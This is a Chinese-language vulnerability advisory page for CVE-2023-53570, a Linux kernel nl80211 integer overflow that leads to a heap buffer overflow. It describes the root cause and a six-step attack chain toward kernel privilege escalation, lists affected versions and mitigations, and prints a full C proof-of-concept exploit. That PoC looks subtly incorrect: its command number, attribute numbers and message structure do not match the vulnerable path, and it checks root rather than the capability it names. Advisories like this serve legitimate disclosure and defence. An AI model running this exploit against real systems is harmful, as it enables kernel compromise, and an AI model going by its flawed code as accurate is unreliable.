IPBUF安全漏洞报告
English
CVE-2023-53570 CVSS 7.8 高危

CVE-2023-53570:Linux内核nl80211整数溢出导致堆缓冲区溢出漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53570
漏洞类型
整数溢出/堆缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(wifi: nl80211 子系统)

相关标签

Linux Kernelnl80211整数溢出堆缓冲区溢出wifinetlink本地提权CAP_NET_ADMINMBSSID内核漏洞

漏洞概述

CVE-2023-53570是Linux内核中wifi子系统nl80211模块存在的一个高危安全漏洞。该漏洞位于nl80211_parse_mbssid_elems()函数中,由于使用u8类型的变量num_elems来计数嵌套netlink属性attrs中的MBSSID元素数量,当用户空间进程通过nl80211接口指定256个或更多元素时,会导致整数溢出问题。

该整数溢出会进一步引发堆缓冲区溢出,因为num_elems变量决定了elems结构体中尾部数组的大小,随后程序会遍历attrs中的每个元素并向该数组写入数据。当num_elems溢出为0时,将分配一个过小的缓冲区,而后续的写入操作将超出缓冲区边界,从而造成堆内存破坏。

该漏洞的利用需要满足两个前提条件:首先,受影响的无线设备驱动必须设置了wiphy->mbssid_max_interfaces成员;其次,攻击者必须拥有CAP_NET_ADMIN权限。CVSS 3.1评分为7.8分,属于高危级别,对机密性、完整性和可用性均产生高影响。攻击者可通过本地方式触发该漏洞,实现权限提升或系统崩溃。

技术细节

该漏洞的根本原因在于nl80211_parse_mbssid_elems()函数中对MBSSID元素计数使用了u8(无符号8位整数)类型的变量num_elems。当用户空间通过netlink接口传递包含256个或更多MBSSID元素的嵌套属性attrs时,num_elems在递增过程中会发生整数溢出,从255回绕到0。

具体利用流程如下:
1. 攻击者构造恶意的netlink消息,在MBSSID属性中包含≥256个元素
2. nl80211_parse_mbssid_elems()函数遍历attrs并使用u8变量num_elems计数
3. 当计数达到256时,num_elems溢出为0
4. 基于溢出后的num_elems值分配elems结构体,其中包含大小为num_elems的尾部数组
5. 函数继续遍历attrs中的所有元素并写入elems->成员数组
6. 由于实际元素数量(≥256)远大于分配的缓冲区大小(0),导致堆缓冲区溢出

该漏洞仅影响设置了wiphy->mbssid_max_interfaces的无线物理设备,且需要CAP_NET_ADMIN权限才能触发。修复方案是检查attrs中的最大元素数量为255,防止溢出发生。

攻击链分析

STEP 1
步骤1:获取权限
攻击者需要获取CAP_NET_ADMIN权限,这可以通过root权限、容器逃逸或其他提权手段实现
STEP 2
步骤2:识别目标设备
攻击者检查目标系统的无线设备驱动是否设置了wiphy->mbssid_max_interfaces成员,确定目标是否受影响
STEP 3
步骤3:构造恶意netlink消息
通过nl80211 netlink接口构造包含≥256个MBSSID元素的恶意嵌套属性消息
STEP 4
步骤4:触发整数溢出
当nl80211_parse_mbssid_elems()函数处理消息时,u8类型的num_elems变量在计数到256时溢出为0
STEP 5
步骤5:触发堆缓冲区溢出
基于溢出后的num_elems值分配过小的缓冲区,随后继续写入所有元素导致堆缓冲区溢出
STEP 6
步骤6:利用结果
堆缓冲区溢出可导致内核崩溃(拒绝服务)或被利用进行权限提升,执行任意内核代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53570 PoC - Linux kernel nl80211 integer overflow * This PoC demonstrates the integer overflow in nl80211_parse_mbssid_elems() * by sending a crafted netlink message with >=256 MBSSID elements. * * Requirements: CAP_NET_ADMIN capability * Compile: gcc -o poc poc.c -lnl-3 -lnl-genl-3 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> #include <netlink/socket.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #define NL80211_GENL_NAME "nl80211" #define NL80211_CMD_NEW_INTERFACE 5 #define NUM_MBSSID_ELEMENTS 300 /* >=256 triggers overflow */ int main(int argc, char *argv[]) { struct nl_sock *sk; struct nl_msg *msg; int err, family; /* Check for CAP_NET_ADMIN */ if (getuid() != 0) { fprintf(stderr, "Requires CAP_NET_ADMIN (run as root or with cap_net_admin)\n"); return 1; } sk = nl_socket_alloc(); if (!sk) { fprintf(stderr, "Failed to allocate netlink socket\n"); return 1; } /* Connect to generic netlink */ if (genl_connect(sk) < 0) { fprintf(stderr, "Failed to connect to generic netlink\n"); nl_socket_free(sk); return 1; } family = genl_ctrl_resolve(sk, NL80211_GENL_NAME); if (family < 0) { fprintf(stderr, "Failed to resolve nl80211 family\n"); nl_socket_free(sk); return 1; } /* Allocate netlink message */ msg = nlmsg_alloc(); if (!msg) { nl_socket_free(sk); return 1; } /* Setup genl header for NL80211_CMD_NEW_INTERFACE */ genlmsg_put(msg, 0, 0, family, 0, 0, NL80211_CMD_NEW_INTERFACE, 0); /* Add interface name attribute */ nla_put_string(msg, 1, "poc%d"); /* Add nested MBSSID attributes with >=256 elements to trigger overflow */ struct nlattr *mbssid_attrs = nla_nest_start(msg, 2); if (mbssid_attrs) { for (int i = 0; i < NUM_MBSSID_ELEMENTS; i++) { /* Each MBSSID element - trigger u8 overflow at 256 */ nla_put(msg, i + 10, 8, "AAAAAAA"); } nla_nest_end(msg, mbssid_attrs); } /* Send the message */ err = nl_send_sync(sk, msg); if (err < 0) { fprintf(stderr, "Failed to send message: %d\n", err); } else { printf("PoC sent successfully. Check kernel for crash/overflow.\n"); } nl_socket_free(sk); return 0; }

影响范围

Linux Kernel < 6.6(包含nl80211_parse_mbssid_elems()存在u8溢出问题的版本)
Linux Kernel 6.6.x(受影响)
Linux Kernel 6.1.x LTS(受影响)
Linux Kernel 5.15.x LTS(受影响)
Linux Kernel 5.10.x LTS(受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)限制具有CAP_NET_ADMIN权限的用户和进程数量,减少潜在攻击面;2)对于不需要使用MBSSID功能的系统,可在驱动中禁用wiphy->mbssid_max_interfaces设置;3)使用Linux安全模块(如SELinux、AppArmor)限制对netlink socket的访问;4)监控系统日志,及时发现异常的内核崩溃或错误信息;5)考虑使用cgroups或命名空间隔离特权操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表